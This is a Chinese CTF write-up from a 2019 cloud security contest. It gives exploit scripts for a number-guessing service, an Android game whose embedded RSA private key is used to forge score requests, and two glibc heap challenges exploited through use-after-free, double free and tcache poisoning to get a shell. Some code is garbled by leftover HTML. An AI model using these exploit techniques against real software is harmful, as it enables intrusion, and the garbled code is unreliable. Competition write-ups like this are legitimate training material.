writeup
数字经济云安全众测大赛WP
2019-09-24 13:40

0X00 Misc

findMe


#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

#---------------------Setting-----------------------
host = '121.40.216.20'
port = 9999
context.log_level = 'debug'
#---------------------Setting-----------------------

def main(r):
    ground, sky = pow(2,127), pow(2,128)
    for i in range(200):
        t = abs(sky-ground)/3+1

        r.recvline()
        r.sendline(hex(ground))
        r.recvline()
        r.sendline(hex(sky))

        if t == 1:
            g1, g2 = sky-t, sky-t
        else:
            g1, g2 = sky-t, sky
        r.recvline()
        r.sendline(hex(g1))
        r.recvline()
        r.sendline(hex(g2))

        ans = r.recvline()[:-1]
        if 'flag' in ans:
            print ans
return
        elif ans == '2':
            sky = sky - t
        else:
            ground = sky - t

if __name__ == '__main__':
    while True:
        try:
            r = remote(host, port)
            main(r)
break
        except:
            r.close()
pass

分析源码可以知道,此题是一个数学题。题中每次连接都会生成一个随机secret,而我们要做的事就是先输入g,s,满足以下数学约束,就可以继续输入:

g <= secret <= s

接着输入g1, g2,首先需要继续满足约束:

|g1-g2| > |s-g|/3 + 1

然后根据公式(|secret - g1| - | secret - g2|)**2 < (|g1-g2|)**2的判断结果返回不同结果,true返回1,false返回2。

分析上面的判别式,可以知道,此判别式判别的就是在一维坐标系中,g1和g2是否同时在secret的一侧,如果在同侧,(|secret - g1| - | secret - g2|)**2 == (|g1-g2|)**2判别式为false,如果g1和g2在secret两侧,判别式为true。

于是思路就呼之欲出了。我们要求在secret两侧的g1和g2,因为这样的话,就可以继续令s=g2,g=g1(假设g1 <= g2)。然后递归的压缩g1和g2之间的距离,直到最后g1=g2=secret得到flag。

求在secret两侧的g1和g2,由于每次要满足|g1-g2| > |s-g|/3 + 1,所以最多也就只需要探测三次,代码实现起来不复杂。

exp如下:

from pwn import *

p = remote('121.40.216.20',9999)
# context.log_level = 'debug'

def pack(s):
    t = hex(s)
    return t[2:] if t[-1] != 'L' else t[2:-1]

def process(ground, sky, g1, g2):
    print p.recvuntil('g\n')[:-1]
    print ground
    p.sendline(pack(ground))
    print p.recvuntil('s\n')[:-1]
    print sky
    p.sendline(pack(sky))
    print p.recvuntil('g1\n')[:-1]
    print g1
    p.sendline(pack(g1))
    print p.recvuntil('g2\n')[:-1]
    print g2
    p.sendline(pack(g2))
    r=p.recvuntil('\n')
    if r[:4] != 'flag':
        print r
        return int(r[:-1])
    else:
        print r

ground = 0
sky = 2**128
pground = 0
psky = 0
# print pack(sky)

def find(ground, sky):
    l = abs(sky - ground)/3 + 1
    g1 = ground
    g2 = g1 + l
    r = process(ground, sky, g1, g2)
    if r == 1:
        return g1,g2
    elif r == 2:
        t = process(ground, sky, g2, g2+l)
        if t == 1:
            return g2, g2 + l
        elif r == 2:
            t = process(ground, sky, g2, g2)
            if t == 2:
                return g2+l, sky


for i in range(200):
    ground,sky = find(ground, sky)

XCTFMisc实战学习可到合天网安实验室,本系列实验精选了XCTF竞赛中比较有代表性的misc题目供大家学习,扫描下方二维码即可预览学习。


0X01 WEB

gameapp

APK逆向,每次发包时用RsaUnit加密data段,密钥都在APK里面,直接把代码抠出来,生成请求包。

package shon.lau;

import java.util.Base64;
import java.security.KeyFactory;
import java.security.interfaces.RSAPrivateKey;
import java.security.interfaces.RSAPublicKey;
import java.security.spec.PKCS8EncodedKeySpec;
import java.security.spec.X509EncodedKeySpec;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import org.json.simple.JSONObject;

public class RsaUnit
{
 private static Map<Integer, String> keyMap = new HashMap();

 public static void genKeyPair()
 {
 keyMap.put(Integer.valueOf(0),"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMY\nImonQdMC1Y8USwIwf7Y0GcBP/h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8a\nYFoms223okyzeTlUIRHbIkto1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHE\nA3Hau/DTzW4g4xhvzQIDAQAB");
 keyMap.put(Integer.valueOf(1),"MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKq1dQhWg9RwFXVaXeDysYY28xgiaidB0wLVjxRLAjB/tjQZwE/+Hp8Ak8BL3/+phnPLxl8MofX57OJ8UUJRMIJr/xpgWiazbbeiTLN5OVQhEdsiS2jUnFg5rNuwTr4qYT7ImKKPjzf1Ji4LUqwtZPza4cQDcdq78NPNbiDjGG/NAgMBAAECgYBUdazusCdPbxke09QI3Oq6VeuWcEiHHckx6Ml+p9Hwfu99/ZOpwDgUQSvZA3FTQ+PS3OpL0qs7USlDsXBe2F6gCZ/e1BvkEPE/FymHbzbSpr8BwjEel/kup842z11SujNxHbeznrXKNfvDlqR5HM7CurYErBW0X8She8lNAqXBXQJBANj3pPvSHFQ4ugkWst6XCX/gd5vQuvPzeUwHpReSdRsmA6Jmv8oP03MQzjvsyrMoPatMzhN5Qtfpw12Febfl1pcCQQDJa2RGtK2jCiKxzKcbUp9pPiSxtsdavneKoCG/tndICyGfeT1NRGSQsJCHIhxdee4QQYWUrzhbFBLLZDq4sj07AkEAykt0T7si4MAXbPv2AKZQnCN9QhGHDof3k5UZL/ZFK+/wuY4Vyl+hJosHz0XD5PFjNoGhLvUEBu6VUnBuAbHRtwJBAKysnHLhQlqbvdKfmEMcOf2HgP25rH5m+ySk00n/q5LfuBt3XM54653/QGgZHigk96qIAXTOIooyU0p6yry8UTECQQCy8tuflq8/8ISRdkHixENX+APeYr4hjmn5mUFJgB4qFUp1ReR0nA2oGf6IkzAWEwLvEchuKMtF7eEv1kHS+3Wd");
// 

keyMap.put(Integer.valueOf(1), "MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKq1dQhWg9RwFXVa\nXeDysYY28xgiaidB0wLVjxRLAjB/tjQZwE/+Hp8Ak8BL3/+phnPLxl8MofX57OJ8\nUUJRMIJr/xpgWiazbbeiTLN5OVQhEdsiS2jUnFg5rNuwTr4qYT7ImKKPjzf1Ji4L\nUqwtZPza4cQDcdq78NPNbiDjGG/NAgMBAAECgYBUdazusCdPbxke09QI3Oq6VeuW\ncEiHHckx6Ml+p9Hwfu99/ZOpwDgUQSvZA3FTQ+PS3OpL0qs7USlDsXBe2F6gCZ/e\n1BvkEPE/FymHbzbSpr8BwjEel/kup842z11SujNxHbeznrXKNfvDlqR5HM7CurYE\nrBW0X8She8lNAqXBXQJBANj3pPvSHFQ4ugkWst6XCX/gd5vQuvPzeUwHpReSdRsm\nA6Jmv8oP03MQzjvsyrMoPatMzhN5Qtfpw12Febfl1pcCQQDJa2RGtK2jCiKxzKcb\nUp9pPiSxtsdavneKoCG/tndICyGfeT1NRGSQsJCHIhxdee4QQYWUrzhbFBLLZDq4\nsj07AkEAykt0T7si4MAXbPv2AKZQnCN9QhGHDof3k5UZL/ZFK+/wuY4Vyl+hJosH\nz0XD5PFjNoGhLvUEBu6VUnBuAbHRtwJBAKysnHLhQlqbvdKfmEMcOf2HgP25rH5m\n+ySk00n/q5LfuBt3XM54653/QGgZHigk96qIAXTOIooyU0p6yry8UTECQQCy8tuf\nlq8/8ISRdkHixENX+APeYr4hjmn5mUFJgB4qFUp1ReR0nA2oGf6IkzAWEwLvEchu\nKMtF7eEv1kHS+3Wd");
 }

 public static String private_decrypt(String paramString)
  throws Exception
 {
  Base64.Decoder decoder = Base64.getDecoder();
  String str = (String)keyMap.get(Integer.valueOf(1));
  byte[] arrayOfByte1 = decoder.decode(paramString.getBytes("UTF-8"));
  byte[] arrayOfByte2 = decoder.decode(str);
  RSAPrivateKey localRSAPrivateKey = (RSAPrivateKey)KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(arrayOfByte2));
  Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
  localCipher.init(2, localRSAPrivateKey);
  return new String(localCipher.doFinal(arrayOfByte1));
 }

 public static String private_encrypt(String paramString)
  throws Exception
 {
  Base64.Decoder decoder = Base64.getDecoder();
  Base64.Encoder encoder = Base64.getEncoder();
  byte[] arrayOfByte = decoder.decode((String)keyMap.get(Integer.valueOf(1)));
  RSAPrivateKey localRSAPrivateKey = (RSAPrivateKey)KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(arrayOfByte));
  Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
  localCipher.init(1, localRSAPrivateKey);
  return encoder.encodeToString(localCipher.doFinal(paramString.getBytes("UTF-8")));
 }

 public static void main(String[] args) {
  JSONObject localJSONObject = new JSONObject();
  try {
   genKeyPair();

//   localJSONObject.put("player", "mads");
   localJSONObject.put("score", 100);
   localJSONObject.put("op", "add");
   String data = localJSONObject.toString();
   System.out.println(data);
   System.out.println(RsaUnit.private_encrypt(data));
//   String str2 = HttpUnit.post("
http://121.40.219.183:9999/startgame/", RsaUnit.private_encrypt(data));
//   System.out.println(str2);
  }catch (Exception e){
   System.out.println(e.toString());
  }
 }
//
// public static String public_decrypt(String paramString)
//  throws Exception
// {
//  String str = (String)keyMap.get(Integer.valueOf(0));
//  byte[] arrayOfByte1 = Base64.decode(paramString.getBytes("UTF-8"), 0);
//  byte[] arrayOfByte2 = Base64.decode(str, 0);
//  RSAPublicKey localRSAPublicKey = (RSAPublicKey)KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(arrayOfByte2));
//  Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
//  localCipher.init(2, localRSAPublicKey);
//  return new String(localCipher.doFinal(arrayOfByte1));
// }
//
// public static String public_encrypt(String paramString)
//  throws Exception
// {
//  byte[] arrayOfByte = Base64.decode((String)keyMap.get(Integer.valueOf(0)), 0);
//  RSAPublicKey localRSAPublicKey = (RSAPublicKey)KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(arrayOfByte));
//  Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
//  localCipher.init(1, localRSAPublicKey);
//  return Base64.encodeToString(localCipher.doFinal(paramString.getBytes("UTF-8")), 0);
// }
}

第一步是发包登录。在/startgame/接口 第二步是发包增加分数,测试每次最多增加100,写个脚本循环跑。

# -*- coding=utf-8 -*-

import requests

r = requests.Session()

url = 'http://121.40.219.183:9999/score/'
headers = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
'Cookie': 'session=eyJwbGF5ZXIiOiJtYWRzIiwic2NvcmUiOjUwMH0.XYRf3w.PqYCOJx52Scogjpz9eKY1t1XXgo;',
'Connection': 'close',
'Content-Type': 'xxx',
}

cookies = {"session": "eyJwbGF5ZXIiOiJtYWRzIiwic2NvcmUiOjkwMH0.XYRg3w.uNx4qY-NVMhuIW8UxmtTkLHTOL4"}

data="StGIrDplUxthN/I8va6O9MfKu8ymYzM5eYxNpnNgh7SW7S9JnEbzlNZnaBGSRdffLr2DjOTGcdQH7mSyBkfttL+xuoxGtsMJ126y1ra0ZfYz0Y75cMHmGw3WY62/cng7fheoc8Qq7/YeoaL4j0BGIwKeundOdjQjnAKRc/s3kFA="

for i in range(99999/100):
    res = r.post(url=url, data=data, cookies=cookies)
    print res.content
    cookies["session"] = res.cookies.get("session")
# print cookies
# break
跑到99999得到flag

flag{2968ababe9b8a875037b15168f67a46c}

 

0X02 PWN

fkroman

菜单堆,IO_stdout leak的板子题。free掉后没清空指针(uaf),double free重新分配到_IO_2_1_stdout_泄漏出libc地址。最后将__malloc_hook改one_shot拿shell
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import os, sys

# Setting at first
DEBUG = 3
LIBCV = 2.19
context.arch = "amd64"

context.log_level = "debug"
elf = ELF("./fkroman",checksec=False)

# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive

if DEBUG == 1:
    if context.arch == "i386":
        libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    s = process("./fkroman") #, env={"LD_PRELOAD" : "./libc-2.23.so"})
elif DEBUG == 2:
    if context.arch == "i386":
        libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False)
        os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 fkroman")
        os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 fkroman")
    elif context.arch == "amd64":
        libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False)
        os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 fkroman")
        os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 fkroman")
    s = process("./fkroman")
elif DEBUG == 3:
    libc = ELF("./libc-2.23.so",checksec=False)
    ip = "121.40.246.48"
    port = 9999
    s = remote(ip,port)

def z(addr):
    raw_input("debug?")
    gdb.attach(s, "b *" + str(addr))

wordSz = 4
hwordSz = 2
bits = 32
PIE = 0
mypid=0
def leak(address, size):
    with open("/proc/%s/mem" % mypid) as mem:
        mem.seek(address)
        return mem.read(size)

def findModuleBase(pid, mem):
    name = os.readlink("/proc/%s/exe" % pid)
    with open("/proc/%s/maps" % pid) as maps:
        for line in maps:
            if name in line:
                addr = int(line.split("-")[0], 16)
                mem.seek(addr)
                if mem.read(4) == "\x7fELF":
                    bitFormat = u8(leak(addr + 4, 1))
                    if bitFormat == 2:
                        global wordSz
                        global hwordSz
                        global bits
                        wordSz = 8
                        hwordSz = 4
                        bits = 64
                    return addr
    log.failure("Module's base address not found.")
    sys.exit(1)

def zx(addr = 0):
    global mypid
    mypid = proc.pidof(s)[0]
    raw_input("debug?")
    with open("/proc/%s/mem" % mypid) as mem:
        moduleBase = findModuleBase(mypid, mem)
        gdb.attach(s, "set follow-fork-mode parent\nb *" + hex(moduleBase+addr))

def clean():
    s.close()

    if DEBUG == 2:
        if context.arch == "i386":
            os.system("patchelf --set-interpreter /lib/ld-linux.so.2 fkroman")
            os.system("patchelf --set-rpath /lib/i386-linux-gnu:/libc.so.6 fkroman")
        if context.arch == "amd64":
            os.system("patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 fkroman")
            os.system("patchelf --set-rpath /lib/x86_64-linux-gnu:/libc.so.6 fkroman")

def menu(x):
 s.sla("choice: ", str(x))

def alloc(idx, size):
 menu(1)
 s.sla("Index: ", str(idx))
 s.sla("Size: ", str(size))

def delete(idx):
 menu(3)
 s.sla("Index: ", str(idx))

def edit(idx, size, data):
 menu(4)
 s.sla("Index: ", str(idx))
 s.sla("Size: ", str(size))
 s.sa("Content: ", data)

def pwn():
    alloc(0, 0x80)
    alloc(1, 0x60)
    alloc(2, 0x60)

    # unsorted bin
    delete(0)

    # _IO_2_1_stdout_
    alloc(3, 0x60)
    edit(3, 2, '\xdd\x95')

    # double free
    delete(2)
    delete(1)
    delete(2)

    # edit point to chunk3
    edit(2, 1, '\x00')

    # alloc _IO_2_1_stdout_
    alloc(4, 0x60)
    #zx(0x1309)
    alloc(5, 0x60)
    alloc(6, 0x60) # _IO_2_1_stdout_

    # bypass and leak
    edit(6, 0x54, chr(0)*3 + p64(0)*6 + p64(0xfbad3887) + p64(0)*3 + '\0')


    s.ru(p64(0xfbad3887))
    s.r(0x18)
    libc.address = u64(s.r(6) + '\0\0') - 0x3c5600
    style="box-sizing: border-box; padding-right: 0.1px;">    malloc_hook = libc.sym['__malloc_hook']
    info("libc.address 0x%x", libc.address)
    info("one_shot 0x%x", style="box-sizing: border-box; padding-right: 0.1px;">    info("malloc_hook 0x%x", malloc_hook)

    # free list
    delete(5)
    delete(4)

    # edit point to __malloc_hook
    edit(4, 8, p64(malloc_hook-0x23))

    # alloc __malloc_hook
    alloc(7, 0x60)
    alloc(8, 0x60)

    # write style="box-sizing: border-box; padding-right: 0.1px;">    edit(8, 0x1b, chr(0)*3 + p64(0)*2 + p64(one_shot))


    alloc(20, 20)

    #zx(0x1309)
    #alloc(9, 0x60)

    s.irt()
    #clean()
    #ctf{63f2fa2d7f94394dc3d8e9be1abd34c4}

def dump():
    pwn()
    s.recv(timeout=1)
    s.sl("cat fkroman")
    s.sl("exit")
    data = s.ra()
    f = open("dump", "wb")
    f.write(data)
    f.close()

if __name__ == "__main__":
    pwn()

amazon

tcacheattack,先free掉7次填充tcachebin,当下一次free掉,chunk进入unsortedbin,调用show泄漏出libc地址。覆盖tcache的fd指针为_free_hook,malloc到该处写入system地址,调用free("/bin/sh")拿shell

from pwn import *

p = process('./amazon')
# p = remote('121.41.38.38', 9999)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'


def launch_gdb():
    context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
    gdb.attach(proc.pidof(p)[0])

def new(s,d):
    p.recvuntil('choice:')
    p.sendline('1')
    p.recvuntil('buy:')
    p.sendline('2')
    p.recvuntil('many:')
    p.sendline('1')
    p.recvuntil('note:')
    p.sendline(str(s))
    p.recvuntil('Content:')
    p.sendline(d)

def free(i):
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil('for:')
    p.sendline(str(i))

def show():
    p.recvuntil('choice:')
    p.sendline('2')


# launch_gdb()
new(0xa0,'cnm')  # 0
for _ in xrange(7):
    free(0)
new(0xb0,'fuck') # 1
for _ in xrange(7):
    free(1)
new(0x20,'fuck') # 2
free(0)
show()
p.recvuntil('Name: ')
leak = u64(p.recv(6).ljust(8,'\x00'))
log.info('leak ' + hex(leak))
libc_base = leak - 4111520
free(1)
new(0x100,p64(libc_base + 4118760 - 0x40) * (0x100/8))  # 3
new(0xb0,'nmsl\x00')
free(3)
new(0x100,'/bin/sh\x00' * (0x100/8))

new(0xb0,p64(0) * 4 + p64(libc_base + libc.symbols['system']))
free(1)

p.interactive()

CTF-PWN训练可到合天网安实验室学习课程——CTF-PWN进阶训练:本课程旨在帮助CTF初学者快速掌握复杂PWN题型的基本解题思路与技巧,包括溢出模型、信息泄露、ROP等。

上一篇:ByteCTF 2019部分WP
下一篇:BalsnCTF 2019 两道web题,php
版权所有 合天智汇信息技术有限公司 2013-2021 湘ICP备14001562号-6
Copyright © 2013-2020 Heetian Corporation, All rights reserved
4006-123-731